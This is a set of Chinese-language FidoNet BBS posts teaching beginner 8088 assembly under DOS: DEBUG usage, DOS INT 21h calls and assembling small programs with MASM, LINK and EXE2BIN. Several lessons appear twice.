decibin segment
assume cs:decibin
mov bx,0 ;clear BX for number
newchar:mov ah,1 ;keyboard input
int 21h ;call DOS
sub al,30h ;ASCII to binary
jl exit ;jump if < 0
cmp al,9d ;is it > 9d ?
jg exit ;yes, not dec digit
cbw ;byte in AL to word in AX
xchg ax,bx ;trade digit & number
mov cx,10d ;put 10 dec in CX
mul cx ;number times 10
xchg ax,bx ;trade number & digit
add bx,ax ;add digit to number
jmp newchar ;get next digit
exit: int 20 ;return from decibin
decibin ends ;end of decibin proc
end
※ 減法指令 SUB 會將左邊的運算元減去右邊的運算元,結果存
於左邊的運算元中。
※ JG 指令與 CMP 指令配合,若 CMP 指令左邊運算元大於右邊
運算元,則跳至其本身運算元指定的記憶體位址。
※ CBW 指令會把 AL 暫存器中的位元組(8 位元 )轉換成字組
(16 位元 ),並放於 AX 暫存器中。
※ 實際上的結果是:
『若 AL 中的值為正,則 AH 填入 00h;反之,則 AH 填入 FFh』
※ XCHG 指令會把兩個運算元的內含值互換。
※ 常用於需要暫時保留某個暫存器中的內含值時。
※ MUL 指令會將運算元的內含值與A暫存器的內容相乘,並將
結果存於A暫存器中。
※ 當然,我們還得加一個 CRLF 的小程式,用來列印歸位字元
(CR)與換列字元(LF),使得結果顯示的十六進位數不會蓋
掉原先輸入的十進位數。
--- SuperBBS 1.17 (Reg)
* Origin: BEAR BBS OPEN:24HR TEL : (02)377-6746 (39:40/103)
PATH: 40/103 100
MASM_9
信區 : 破解網-破解技術討論區
日期 : Tue May 14, 14:58
來自 : Jerry Cls 39:40/103
給 : All
標題 : ASM9
--------------------------------------------------------------------------------
@TID: FastEcho 1.40 17014
※ 您是否覺得用組譯器產生程式的方法,比 DEBUG 麻煩多了!
※ 以小程式而言,的確是如此;但對於較大的程式,您就可以發
現其優點了。
※ 我們將 ASCII 程式以組譯器方式再做一次,看看有無差異。
※ 首先,您必須先利用文書處理程式建立 ASCII.ASM 檔案。
prognam segment ;start of segment
assume cs:prognam ;assume what's in CS
mov cx,100h ;put counter in CX
mov dl,0 ;first ASCII character
next: mov ah,2 ;Display Output Function
int 21h ;call DOS to print
inc dl ;next ASCII chacter
loop next ;do again, until counter = 0
int 20h ;return to DOS
prognam ends ;end of segment
end ;end of assembly
※ 在組合語言的原始程式碼中,每一個程式列都包含四項元素:
start: mov dl,1 ;first character
標記 運算子 運算元 註解
※ 在原始檔案中加上註解可使程式更易瞭解,便於以後參考。
※ 每列註解欄以『;』開頭。
※ 組譯器會將『;』以後的敘述當做註解而不予理會。
※ 註解欄的資料不會出現在 OBJ、EXE 或 COM 檔案中。
※ 在中文系統下,註解也可使用中文,但為了程式的可攜性,
建議您還是練習英文吧!
※ 由於在撰寫原始程式碼時,我們並不知道每一程式列的位址
,所以必須以符號名稱來代表相對位址,稱為『符號位址』。
如上 next: mov ah,2 ;Display Output Function
之 next:
※ 我們通常在適當列上的標記欄位置上,鍵入符號位址。
※ 當要修改程式時,會發現使用標記讓程式的彈性較大,因為
組譯器會自動算出標記欄中的符號位址。
※ 標記(label)最長可達 31 個字元,因此我們在程式中,儘
量以簡潔易懂的文字做為標記。
※ 標記欄是每列的第一欄,可與所要標記的指令在同一列,也可
位於該指令的前一列。
※ 現在,您可以將此 ASCII.ASM 檔案組譯成 ASCII.COM 了。
1.請輸入 MASM ASCII 3.請輸入 EXE2BIN ASCII ASCII.COM
2.請輸入 LINK ASCII 4.請輸入 ASCII
Microsoft (R) Macro Assembler Version 5.10
Copyright (C) Microsoft Corp 1981, 1988. All rights reserved.
Object filename [ASCII.OBJ]:
Source listing [NUL.LST]:
Cross-reference [NUL.CRF]:
48096 + 403883 Bytes symbol space free
0 Warning Errors
0 Severe Errors
※ 對初學者而言,MASM 的功能太強了,它的許多命令太複雜,
以致常會妨礙了我們學習組合語言的興緻與效果。
※ 某些高明的指令事實上只對頗有經驗的組合語言程式師有用
,對我們而言,是太過高深了。
※ 事實上,使用 MASM 就好像在開 747 一樣,只有 DEBUG 才有
螺旋槳飛機的味道;因為,在 DEBUG 上面的控制全部都跟組合
語言有直接的關係。
※ 如果您覺得組合語言蠻有趣的,終究您必須要用到 MASM。
※ 為了使學習組合語言程式有個好的開始,您必須要先排除那些
華麗複雜的命令,將心力集中在最重要的幾個命令上。
※ 隨著您對 MASM 技巧的成長,最後您一定會感覺它是您在組合
語言程式設計上的左右手。
※ 當您以組譯器組合您自己設計的程式時,常會發生打字錯誤、
助憶符號名稱拼錯、十六進制數字少了h、邏輯錯誤等。
※ 組合語言的老手常給新鮮人的忠告是:最好預期自己所寫的
程式一定會有些錯誤。
※ 如果第一次執行程式後,就得到合理的答案,您最好還是帶
著懷疑的心,因為它可能是錯的。
※ 原則上,只要大體的邏輯架構正確,發掘程式中間題的過程
,應該與撰寫程式本身有相同的樂趣。
※ 撰寫大程式時,最好能分成許多模組(Module),如此可使
程式本身的目的較單純,易於撰寫與維修;另外也可讓程式
式中不同的部份之間的介面較清楚,並節省組譯的時間。
※ 我們將撰寫一個能從鍵盤取得一個十進位的數值,
並將其轉換成十六進位數值而顯示於螢幕上的『大程式』。
※ 要讓 8088 微處理器執行這樣的功能,我們必須先將此問題
分解成一連串的步驟,稱為『程式規劃』。
※ 首先,以流程圖的方式,來確保整個程式的邏輯沒有問題。
※ 您可使用一種界於英文與 8088 組合語言間的『虛擬語言』來
解釋程式,例如:以 BASIC 的方式來表達程式規劃的問題。
※ 最後就是將『虛擬程式碼』改寫成 8088 組合語言的程式。
※ 這種模組化的規劃方式,稱之為『由上而下的程式規劃』。
※ 在真正撰寫程式時,卻是從最小的單位(模組)開始撰寫,
當每個模組都完成之後,再將其合併成大方程式;這種大處
著眼,小處著手的方式稱為『由下而上的程式設計』。
※ 我們的第一個模組是 BINIHEX,其主要用途是從 8088 的 BX
暫存器中取出二進位數,並以十六進位方式顯示在螢幕上。
--- SuperBBS 1.17 (Reg)
* Origin: BEAR BBS OPEN:24HR TEL : (02)377-6746 (39:40/103)
PATH: 40/103 100
日期 : Tue May 14, 14:58
來自 : Jerry Cls 39:40/103
給 : All
標題 : ASM9
--------------------------------------------------------------------------------
@TID: FastEcho 1.40 17014
※ 您是否覺得用組譯器產生程式的方法,比 DEBUG 麻煩多了!
※ 以小程式而言,的確是如此;但對於較大的程式,您就可以發
現其優點了。
※ 我們將 ASCII 程式以組譯器方式再做一次,看看有無差異。
※ 首先,您必須先利用文書處理程式建立 ASCII.ASM 檔案。
prognam segment ;start of segment
assume cs:prognam ;assume what's in CS
mov cx,100h ;put counter in CX
mov dl,0 ;first ASCII character
next: mov ah,2 ;Display Output Function
int 21h ;call DOS to print
inc dl ;next ASCII chacter
loop next ;do again, until counter = 0
int 20h ;return to DOS
prognam ends ;end of segment
end ;end of assembly
※ 在組合語言的原始程式碼中,每一個程式列都包含四項元素:
start: mov dl,1 ;first character
標記 運算子 運算元 註解
※ 在原始檔案中加上註解可使程式更易瞭解,便於以後參考。
※ 每列註解欄以『;』開頭。
※ 組譯器會將『;』以後的敘述當做註解而不予理會。
※ 註解欄的資料不會出現在 OBJ、EXE 或 COM 檔案中。
※ 在中文系統下,註解也可使用中文,但為了程式的可攜性,
建議您還是練習英文吧!
※ 由於在撰寫原始程式碼時,我們並不知道每一程式列的位址
,所以必須以符號名稱來代表相對位址,稱為『符號位址』。
如上 next: mov ah,2 ;Display Output Function
之 next:
※ 我們通常在適當列上的標記欄位置上,鍵入符號位址。
※ 當要修改程式時,會發現使用標記讓程式的彈性較大,因為
組譯器會自動算出標記欄中的符號位址。
※ 標記(label)最長可達 31 個字元,因此我們在程式中,儘
量以簡潔易懂的文字做為標記。
※ 標記欄是每列的第一欄,可與所要標記的指令在同一列,也可
位於該指令的前一列。
※ 現在,您可以將此 ASCII.ASM 檔案組譯成 ASCII.COM 了。
1.請輸入 MASM ASCII 3.請輸入 EXE2BIN ASCII ASCII.COM
2.請輸入 LINK ASCII 4.請輸入 ASCII
Microsoft (R) Macro Assembler Version 5.10
Copyright (C) Microsoft Corp 1981, 1988. All rights reserved.
Object filename [ASCII.OBJ]:
Source listing [NUL.LST]:
Cross-reference [NUL.CRF]:
48096 + 403883 Bytes symbol space free
0 Warning Errors
0 Severe Errors
※ 對初學者而言,MASM 的功能太強了,它的許多命令太複雜,
以致常會妨礙了我們學習組合語言的興緻與效果。
※ 某些高明的指令事實上只對頗有經驗的組合語言程式師有用
,對我們而言,是太過高深了。
※ 事實上,使用 MASM 就好像在開 747 一樣,只有 DEBUG 才有
螺旋槳飛機的味道;因為,在 DEBUG 上面的控制全部都跟組合
語言有直接的關係。
※ 如果您覺得組合語言蠻有趣的,終究您必須要用到 MASM。
※ 為了使學習組合語言程式有個好的開始,您必須要先排除那些
華麗複雜的命令,將心力集中在最重要的幾個命令上。
※ 隨著您對 MASM 技巧的成長,最後您一定會感覺它是您在組合
語言程式設計上的左右手。
※ 當您以組譯器組合您自己設計的程式時,常會發生打字錯誤、
助憶符號名稱拼錯、十六進制數字少了h、邏輯錯誤等。
※ 組合語言的老手常給新鮮人的忠告是:最好預期自己所寫的
程式一定會有些錯誤。
※ 如果第一次執行程式後,就得到合理的答案,您最好還是帶
著懷疑的心,因為它可能是錯的。
※ 原則上,只要大體的邏輯架構正確,發掘程式中間題的過程
,應該與撰寫程式本身有相同的樂趣。
※ 撰寫大程式時,最好能分成許多模組(Module),如此可使
程式本身的目的較單純,易於撰寫與維修;另外也可讓程式
式中不同的部份之間的介面較清楚,並節省組譯的時間。
※ 我們將撰寫一個能從鍵盤取得一個十進位的數值,
並將其轉換成十六進位數值而顯示於螢幕上的『大程式』。
※ 要讓 8088 微處理器執行這樣的功能,我們必須先將此問題
分解成一連串的步驟,稱為『程式規劃』。
※ 首先,以流程圖的方式,來確保整個程式的邏輯沒有問題。
※ 您可使用一種界於英文與 8088 組合語言間的『虛擬語言』來
解釋程式,例如:以 BASIC 的方式來表達程式規劃的問題。
※ 最後就是將『虛擬程式碼』改寫成 8088 組合語言的程式。
※ 這種模組化的規劃方式,稱之為『由上而下的程式規劃』。
※ 在真正撰寫程式時,卻是從最小的單位(模組)開始撰寫,
當每個模組都完成之後,再將其合併成大方程式;這種大處
著眼,小處著手的方式稱為『由下而上的程式設計』。
※ 我們的第一個模組是 BINIHEX,其主要用途是從 8088 的 BX
暫存器中取出二進位數,並以十六進位方式顯示在螢幕上。
--- SuperBBS 1.17 (Reg)
* Origin: BEAR BBS OPEN:24HR TEL : (02)377-6746 (39:40/103)
PATH: 40/103 100
MASM_8
信區 : 破解網-破解技術討論區
日期 : Tue May 14, 12:14
來自 : Jerry Cls 39:40/103
給 : All
標題 : ASM 8
--------------------------------------------------------------------------------
@TID: FastEcho 1.40 17014
※ 利用文書處理程式建立一個 SMILE.ASM 的原始碼檔案。
※ ASM 檔案中的空白行可幫助您分清楚程式的架構,便於閱讀。
※ MASM 會將所有的數值假設為十進位,而 DEBUG 則使用十六進
位;所以在原始碼中,我們必須加上 h,以代表十六進位。
※ 若是以字母開頭的十六進位數字,則還必須在字母前加個 0,
以表示它是數字。
原始程式碼 DEBUG 程式
prognam segment
assume cs:prognam
mov dl,1 mov dl,1
mov ah,2 mov ah,2
int 21h int 21
int 20h int 20
prognam ends
end
※ 原始程式碼新增了四列敘述:
※ prognam segment 與 prognam ends 是成對的,用來告訴 MASM 及
LINK,此程式將放在一個稱為『PROGNAM』(PROGram NAMe) 的
『邏輯區段』內;其中區段名稱(PROGNAM)可以任取,但其
位置必須固定,且兩個區段名稱必須相同。
※ assume cs:prognam 必須在程式的開頭,用來告訴組譯器,此
程式所在區段的位置放在 CS 暫存器中。
※ end 用來告訴 MASM,程式到此結束。
※ 要產生 COM 檔案的所有原始程式碼都需含這四列,且必須依
相同的次序及位置出現。
※ 以 MASM.EXE 組譯 ASM 檔案時,不可打入附屬檔名 ASM。
※ 組譯器會要求您輸入 OBJ 檔案、表例(LST)檔案及對照(CRF)
檔案(供除錯時參考用)等檔案名稱,您只要按 Enter 鍵,
則表示要使用其預設名稱。
※ NUL 表示沒有檔案,所以最後組譯的結果只產生 SMILE.OBJ 。
1.請輸入 MASM SMILE
2.請按 Enter 鍵三次。
Microsoft (R) Macro Assembler Version 5.10
Copyright (C) Microsoft Corp 1981, 1988. All rights reserved.
Object filename [SMILE.OBJ]:
Source listing [NUL.LST]:
Cross-reference [NUL.CRF]:
50162 + 403867 Bytes symbol space free
0 Warning Errors
0 Severe Errors
※ :警告錯誤,表示組譯器對某些事情不瞭解,
不過,尚不致嚴重到使程式組譯的結果發生
錯誤。
※ :嚴重錯誤,會造成程式無法正常執行的錯誤
※ 在使用 LINK 之前,必須將錯誤修正。
※ OBJ 檔案中包含的是組譯後的二進位結果,它還無法被 DOS
載入記憶體中加以執行,必須先加以鏈結(Linking)。
※ 以 LINK 將 OBJ 檔案(SMILE.OBJ)鏈結成 EXE 檔案(SMILE.EXE)
時,不可使用附屬檔名 OBJ。
1.請輸入 LINK SMILE
2.請按 Enter 鍵三次。
Microsoft (R) Overlay Linker Version 3.64
Copyright (C) Microsoft Corp 1981, 1988. All rights reserved.
Run File [SMILE.EXE]:
List File [NUL.MAP]:
Libraries [.LIB]:
LINK : warning L4021: no stack segment
※ [.LIB]: :程式庫,是一些程式的集合,在特殊的情況下,
您可將它與您的程式合併使用。
※ 由於 COM 檔案並不使用堆疊段,所以錯誤訊息 "no stack
segment" 並不會影響程式的正常執行,只是增加我們的緊
張罷了。
※ 使用 EXE2BIN 將 EXE 檔案(SMILE.EXE),轉換成 COM 檔案
(SMILE.COM)時,前者不必使用附屬檔名,而後者則必須指定
附屬檔名,否則,會產生 BIN 檔案(SMILE.BIN)。
※ 其實 BIN 檔案與 COM 檔案是完全相同的,但由於 COMMAND.COM
只認識 COM、EXE 及 BAT 檔案,所以 BIN 檔案無法被正確執行。
1.請輸入 EXE2BIN SMILE SMILE.COM
※ 現在,磁片上應該有 SMILE.COM 檔案了,您只要在提示符號
A> 下,直接輸入檔案名稱 SMILE ,就可以執行這個程式了。
1.請執行本程式。
--- SuperBBS 1.17 (Reg)
* Origin: BEAR BBS OPEN:24HR TEL : (02)377-6746 (39:40/103)
PATH: 40/103 100
日期 : Tue May 14, 12:14
來自 : Jerry Cls 39:40/103
給 : All
標題 : ASM 8
--------------------------------------------------------------------------------
@TID: FastEcho 1.40 17014
※ 利用文書處理程式建立一個 SMILE.ASM 的原始碼檔案。
※ ASM 檔案中的空白行可幫助您分清楚程式的架構,便於閱讀。
※ MASM 會將所有的數值假設為十進位,而 DEBUG 則使用十六進
位;所以在原始碼中,我們必須加上 h,以代表十六進位。
※ 若是以字母開頭的十六進位數字,則還必須在字母前加個 0,
以表示它是數字。
原始程式碼 DEBUG 程式
prognam segment
assume cs:prognam
mov dl,1 mov dl,1
mov ah,2 mov ah,2
int 21h int 21
int 20h int 20
prognam ends
end
※ 原始程式碼新增了四列敘述:
※ prognam segment 與 prognam ends 是成對的,用來告訴 MASM 及
LINK,此程式將放在一個稱為『PROGNAM』(PROGram NAMe) 的
『邏輯區段』內;其中區段名稱(PROGNAM)可以任取,但其
位置必須固定,且兩個區段名稱必須相同。
※ assume cs:prognam 必須在程式的開頭,用來告訴組譯器,此
程式所在區段的位置放在 CS 暫存器中。
※ end 用來告訴 MASM,程式到此結束。
※ 要產生 COM 檔案的所有原始程式碼都需含這四列,且必須依
相同的次序及位置出現。
※ 以 MASM.EXE 組譯 ASM 檔案時,不可打入附屬檔名 ASM。
※ 組譯器會要求您輸入 OBJ 檔案、表例(LST)檔案及對照(CRF)
檔案(供除錯時參考用)等檔案名稱,您只要按 Enter 鍵,
則表示要使用其預設名稱。
※ NUL 表示沒有檔案,所以最後組譯的結果只產生 SMILE.OBJ 。
1.請輸入 MASM SMILE
2.請按 Enter 鍵三次。
Microsoft (R) Macro Assembler Version 5.10
Copyright (C) Microsoft Corp 1981, 1988. All rights reserved.
Object filename [SMILE.OBJ]:
Source listing [NUL.LST]:
Cross-reference [NUL.CRF]:
50162 + 403867 Bytes symbol space free
0 Warning Errors
0 Severe Errors
※ :警告錯誤,表示組譯器對某些事情不瞭解,
不過,尚不致嚴重到使程式組譯的結果發生
錯誤。
※ :嚴重錯誤,會造成程式無法正常執行的錯誤
※ 在使用 LINK 之前,必須將錯誤修正。
※ OBJ 檔案中包含的是組譯後的二進位結果,它還無法被 DOS
載入記憶體中加以執行,必須先加以鏈結(Linking)。
※ 以 LINK 將 OBJ 檔案(SMILE.OBJ)鏈結成 EXE 檔案(SMILE.EXE)
時,不可使用附屬檔名 OBJ。
1.請輸入 LINK SMILE
2.請按 Enter 鍵三次。
Microsoft (R) Overlay Linker Version 3.64
Copyright (C) Microsoft Corp 1981, 1988. All rights reserved.
Run File [SMILE.EXE]:
List File [NUL.MAP]:
Libraries [.LIB]:
LINK : warning L4021: no stack segment
※ [.LIB]: :程式庫,是一些程式的集合,在特殊的情況下,
您可將它與您的程式合併使用。
※ 由於 COM 檔案並不使用堆疊段,所以錯誤訊息 "no stack
segment" 並不會影響程式的正常執行,只是增加我們的緊
張罷了。
※ 使用 EXE2BIN 將 EXE 檔案(SMILE.EXE),轉換成 COM 檔案
(SMILE.COM)時,前者不必使用附屬檔名,而後者則必須指定
附屬檔名,否則,會產生 BIN 檔案(SMILE.BIN)。
※ 其實 BIN 檔案與 COM 檔案是完全相同的,但由於 COMMAND.COM
只認識 COM、EXE 及 BAT 檔案,所以 BIN 檔案無法被正確執行。
1.請輸入 EXE2BIN SMILE SMILE.COM
※ 現在,磁片上應該有 SMILE.COM 檔案了,您只要在提示符號
A> 下,直接輸入檔案名稱 SMILE ,就可以執行這個程式了。
1.請執行本程式。
--- SuperBBS 1.17 (Reg)
* Origin: BEAR BBS OPEN:24HR TEL : (02)377-6746 (39:40/103)
PATH: 40/103 100
MASM_7
信區 : 破解網-破解技術討論區
日期 : Tue May 14, 12:12
來自 : Jerry Cls 39:40/103
給 : All
標題 : ASM7
--------------------------------------------------------------------------------
@TID: FastEcho 1.40 17014
※ 現在,我們來剖析一個更見彈性的程式:可以由鍵盤輸入任意
字串,然後再忠實地顯示一次。
※ 請將存在磁碟中的程式 MIRROR.COM 載入並執行。
1.請輸入 NMIRROR.COM 3.請輸入 G
2.請輸入 L 4.請輸入 THIS IS MY PROGRAM$
※ 提供緩衝式鍵盤輸入:DOS 的 0Ah 號函數服務。
※ 輸入:AH=A DS:DX = 緩衝區位址
※ 執行:INT 21 結果:鍵盤字元存於緩衝區內
※ 緩衝區實際上就是一系列的記憶位置,其大小由 db 所定義。
※ 本程式 db 20 指示 DEBUG 保留 20h 個未用的記憶體位置供
緩衝區使用,並將值 20h 存入第一個位元組(116)中。
※ 當您輸入字串並按 Enter 鍵後,DOS 的 0Ah 號功能會將真正
輸入的字元個數存第二個位元組(117)中。
1FED:0100 MOV DX,0116
1FED:0103 MOV AH,0A
1FED:0105 INT 21
1FED:0107 MOV DL,0A
1FED:0109 MOV AH,02
1FED:010B INT 21
1FED:010D MOV DX,0118
1FED:0110 MOV AH,09
1FED:0112 INT 21
1FED:0114 INT 20
1FED:0116 DB 20
※ 由於緩衝式鍵盤輸入功能 Ah 在每個字串最後都會印一個歸位
字元(由 Enter 鍵產生),使得游標會自動回到輸入列的最
前端。
※ 為了使螢幕映射輸出的字串不會蓋掉原來輸入的字串,所以利
用功能 2h 列印一個換列字元(OAh),使得游標移到下一列的
的最前端。
※ 列印字串功能 9h 的 DX 暫存器要保存字串的啟始位置。
※ 牢記:9h 功能只有遇到 $ 符號時才會停止輸出字元,因此您
打入字串的最後必須加上 $ 符號,否則 9h 功能會繼續將記憶
體中的無用資料胡亂地列印出來。
※ 『組譯器,Assembler』可將符號指令轉換成機器語言。
※ 『機器語言』是真正存在 PC 記憶體,而由 8088 處理機執行
的二進位數值。
※ 由二進位數值組成的程式,能以 COM 的檔案形式存於磁片上。
符號指令 記憶體
MOV AH,2 DEBUG
INT 21 輸入 輸出
INT 20 (A命令)
(打入 DEBUG 中) 目的碼
※ 撰寫一個較長的組合語言程式時,若我們要逐一翻閱 8088
參考手冊,將每個指令組合成目的碼,則您將不會覺得學習
組合語言是件有意義的事。
※ 然而,機器語言程式規劃的過程中,最無法和人類的天份配
合,但卻又是與電腦最能配合的階段,便是『組合』本身。
※ 『工欲善其事,必先利其器』,Micrsoft MASM 是 PC 最佳
的組譯器,可自動將組合語言轉換為機器語言。
※ 與其說 DEBUG 類似組譯器,倒不如說它較類似直譯器更貼切。
※ DEBUG 的 A 命令可將每一個符號指令,逐一轉成機器語言,
存於記憶體中,且立刻執行。
※ 真正組譯器(MASM)的運作是利用文書處理程式(如:EDLIN
、PE Ⅱ等)將符號指令建成一個完全獨立且附屬檔名為 .ASM
的文字檔案。
※ 此文字檔案又稱『原始碼檔案』,是 MASM 程式的輸入部分。
輸入 MASM 輸出
SMILE.ASM SMILE.OBJ
※ MASM 將輸入的 ASM 檔案,組譯且建成一個 .OBJ 的磁碟檔案
,稱為『目的碼檔案,OBJet』。
※ OBJ 檔案僅包含有關程式各部份要載入何處及如何與其他程式
合併的各項資訊,無法直接載入記憶體執行。
※ 『鏈結程式,LINK』可幫我們將 OBJ 檔案轉換成可載入記憶體
執行(EXEcute)的 EXE 檔案。
※ 您還可以用『EXE2BIN,EXEcute TO BINary』檔案,將 EXE 檔
案轉成 COM (COMmand)檔案。
※ DOS 的 COMMAND.COM 在執行外部命令時,是直接在適當的磁片
中尋找一個命令處置檔,並加以執行。
※ 命令處置檔有三類,以其附屬檔名來區別;COMMAND.COM 每次
都是以固定的順序尋找,其優先順序為 COM → EXE → BAT。
※ COM 檔案只由程式所需的二進位數值所組成,是儲存程式最簡
單的方式,不但佔用的記憶體最少,而且載入速度最快。
※ EXE 檔案除了二進位數值外,同時還包含一個由檔案有關的各
種資訊所組成的『檔頭,Header』,所以檔案較大。
※ COM 檔案可直接利用 INT 20 返回 DEBUG,而 EXE 檔案則需要
較複雜的返回程序。
※ 載入 COM 檔案時,無法與其他檔案鍵結起來,所以不能產生
記憶體空間超過 64K 的 COM 檔案;而 EXE 檔案則較易利用不
同的記憶段來執行不同的功能,所以其大小可超過 64K Bytes。
※ 由於初學的程式不大,且為了完全了解所有的過程,所以我們
以 COM 檔案為第一個組合語言程式的形式。
--- SuperBBS 1.17 (Reg)
* Origin: BEAR BBS OPEN:24HR TEL : (02)377-6746 (39:40/103)
PATH: 40/103 100
日期 : Tue May 14, 12:12
來自 : Jerry Cls 39:40/103
給 : All
標題 : ASM7
--------------------------------------------------------------------------------
@TID: FastEcho 1.40 17014
※ 現在,我們來剖析一個更見彈性的程式:可以由鍵盤輸入任意
字串,然後再忠實地顯示一次。
※ 請將存在磁碟中的程式 MIRROR.COM 載入並執行。
1.請輸入 NMIRROR.COM 3.請輸入 G
2.請輸入 L 4.請輸入 THIS IS MY PROGRAM$
※ 提供緩衝式鍵盤輸入:DOS 的 0Ah 號函數服務。
※ 輸入:AH=A DS:DX = 緩衝區位址
※ 執行:INT 21 結果:鍵盤字元存於緩衝區內
※ 緩衝區實際上就是一系列的記憶位置,其大小由 db 所定義。
※ 本程式 db 20 指示 DEBUG 保留 20h 個未用的記憶體位置供
緩衝區使用,並將值 20h 存入第一個位元組(116)中。
※ 當您輸入字串並按 Enter 鍵後,DOS 的 0Ah 號功能會將真正
輸入的字元個數存第二個位元組(117)中。
1FED:0100 MOV DX,0116
1FED:0103 MOV AH,0A
1FED:0105 INT 21
1FED:0107 MOV DL,0A
1FED:0109 MOV AH,02
1FED:010B INT 21
1FED:010D MOV DX,0118
1FED:0110 MOV AH,09
1FED:0112 INT 21
1FED:0114 INT 20
1FED:0116 DB 20
※ 由於緩衝式鍵盤輸入功能 Ah 在每個字串最後都會印一個歸位
字元(由 Enter 鍵產生),使得游標會自動回到輸入列的最
前端。
※ 為了使螢幕映射輸出的字串不會蓋掉原來輸入的字串,所以利
用功能 2h 列印一個換列字元(OAh),使得游標移到下一列的
的最前端。
※ 列印字串功能 9h 的 DX 暫存器要保存字串的啟始位置。
※ 牢記:9h 功能只有遇到 $ 符號時才會停止輸出字元,因此您
打入字串的最後必須加上 $ 符號,否則 9h 功能會繼續將記憶
體中的無用資料胡亂地列印出來。
※ 『組譯器,Assembler』可將符號指令轉換成機器語言。
※ 『機器語言』是真正存在 PC 記憶體,而由 8088 處理機執行
的二進位數值。
※ 由二進位數值組成的程式,能以 COM 的檔案形式存於磁片上。
符號指令 記憶體
MOV AH,2 DEBUG
INT 21 輸入 輸出
INT 20 (A命令)
(打入 DEBUG 中) 目的碼
※ 撰寫一個較長的組合語言程式時,若我們要逐一翻閱 8088
參考手冊,將每個指令組合成目的碼,則您將不會覺得學習
組合語言是件有意義的事。
※ 然而,機器語言程式規劃的過程中,最無法和人類的天份配
合,但卻又是與電腦最能配合的階段,便是『組合』本身。
※ 『工欲善其事,必先利其器』,Micrsoft MASM 是 PC 最佳
的組譯器,可自動將組合語言轉換為機器語言。
※ 與其說 DEBUG 類似組譯器,倒不如說它較類似直譯器更貼切。
※ DEBUG 的 A 命令可將每一個符號指令,逐一轉成機器語言,
存於記憶體中,且立刻執行。
※ 真正組譯器(MASM)的運作是利用文書處理程式(如:EDLIN
、PE Ⅱ等)將符號指令建成一個完全獨立且附屬檔名為 .ASM
的文字檔案。
※ 此文字檔案又稱『原始碼檔案』,是 MASM 程式的輸入部分。
輸入 MASM 輸出
SMILE.ASM SMILE.OBJ
※ MASM 將輸入的 ASM 檔案,組譯且建成一個 .OBJ 的磁碟檔案
,稱為『目的碼檔案,OBJet』。
※ OBJ 檔案僅包含有關程式各部份要載入何處及如何與其他程式
合併的各項資訊,無法直接載入記憶體執行。
※ 『鏈結程式,LINK』可幫我們將 OBJ 檔案轉換成可載入記憶體
執行(EXEcute)的 EXE 檔案。
※ 您還可以用『EXE2BIN,EXEcute TO BINary』檔案,將 EXE 檔
案轉成 COM (COMmand)檔案。
※ DOS 的 COMMAND.COM 在執行外部命令時,是直接在適當的磁片
中尋找一個命令處置檔,並加以執行。
※ 命令處置檔有三類,以其附屬檔名來區別;COMMAND.COM 每次
都是以固定的順序尋找,其優先順序為 COM → EXE → BAT。
※ COM 檔案只由程式所需的二進位數值所組成,是儲存程式最簡
單的方式,不但佔用的記憶體最少,而且載入速度最快。
※ EXE 檔案除了二進位數值外,同時還包含一個由檔案有關的各
種資訊所組成的『檔頭,Header』,所以檔案較大。
※ COM 檔案可直接利用 INT 20 返回 DEBUG,而 EXE 檔案則需要
較複雜的返回程序。
※ 載入 COM 檔案時,無法與其他檔案鍵結起來,所以不能產生
記憶體空間超過 64K 的 COM 檔案;而 EXE 檔案則較易利用不
同的記憶段來執行不同的功能,所以其大小可超過 64K Bytes。
※ 由於初學的程式不大,且為了完全了解所有的過程,所以我們
以 COM 檔案為第一個組合語言程式的形式。
--- SuperBBS 1.17 (Reg)
* Origin: BEAR BBS OPEN:24HR TEL : (02)377-6746 (39:40/103)
PATH: 40/103 100
MASM_6
信區 : 破解網-破解技術討論區
日期 : Tue May 14, 12:10
來自 : Jerry Cls 39:40/103
給 : All
標題 : ASM6
--------------------------------------------------------------------------------
@TID: FastEcho 1.40 17014
※ 當我們在寫組合語言程式的時候,通常不會直接將十六進位的
位元組(機器碼)放入記憶體中,而是打入一串『助憶符號』
(Mnemonic Symbols),這些符號比十六進位數更容易記住。
※ 助憶符號是以2或3個字元的名稱來代表某個組合語言指令
,以告訴微處理機應執行何種運算。
※ 也就是說,助憶符號所構成的組合語言是為人類而設計的,
而機器語言是針對 PC 的特性而設計的。
※ 事實上,8088 微處理機真正所能讀取和了解的並非十六進位
數值,而是二進位數或是位元形式;十六進位數只是使人類
更易了解二進位數字的一種表示方式而已。
※ 還記得 ASCII 碼?現在,我們來剖析一個可以將所有的 ASCII
碼顯示在螢幕上的程式。
※ 請將存在磁碟中的程式 ASCII.COM 載入並執行。
1.請輸入 DEBUG ASCII.COM
2.請輸入 U100,10E
1FED:0100 B90001 MOV CX,0100
1FED:0103 B200 MOV DL,00
1FED:0105 B402 MOV AH,02
1FED:0107 CD21 INT 21
1FED:0109 FEC2 INC DL
1FED:010B E2F8 LOOP 0105
1FED:010D CD20 INT 20
-
※ INC:遞增指令,每次將資料暫存器 DL 內的數值加 1 。
※ LOOP:迴圈指令,將執行次數放入計數暫存器 CX 中,每執行
一次 LOOP 指令,CX 的內容值減 1 ,並跳回迴圈的開頭位址
(105),直到 CX 為 0 。
1.請輸入 G
※ 當我們想在螢幕上任意地顯示字串(例如:開機時電腦會向您
問侯),則可以使用 DOS 的 9H 號函數服務常式。
※ 請輸入下列程式,存入磁碟(HALLO.COM)中,並執行看看:
1.請輸入 A100
2.請輸入 MOV DX,109
3.請輸入 MOV AH,9
4.請輸入 INT 21
5.請輸入 INT 20
6.請輸入 DB 'HOW ARE YOU, SU$'
※ 列印字串功能:DOS 的 09h 號函數服務。
※ 輸入:AH=9 DS:DX = 字串的啟始位址
※ 執行:INT 21 結果:字串顯示在螢幕上
DX:字串的偏移位址,即實際的啟始位址。
DS:字串的段位址,DEBUG 會自動檢查其值,目前不必管它。
※ 在組合語言中,有兩種不同的指令:
1.正規指令:如 MOV 等,是屬於微處理機的指令,用來告訴 8088
微處理機在程式執行時應做些什麼,所以它會以運
算碼(OP-code)的方式存入記憶體中。
2.虛擬指令:如 DB 等,是屬於 DEBUG 等組譯器的指令,用來
告訴組譯器在組譯程式時應做些什麼。
※ DB(Define Byte)指令用來告訴 DEBUG 將其後面單引號內的
所有字元對應的位元組(ASCII 碼)放入記憶體中。
※ 使用 9H 功能列印的字串必須以 $ 符號結尾。
※ 想查看 DB 虛擬指令將那些位元組放入記憶體時,使用U命令
並沒有太大的用處,此時改用D命令則可得到較佳的效果。
5.請輸入 U100,118
6.請輸入 D100,17F
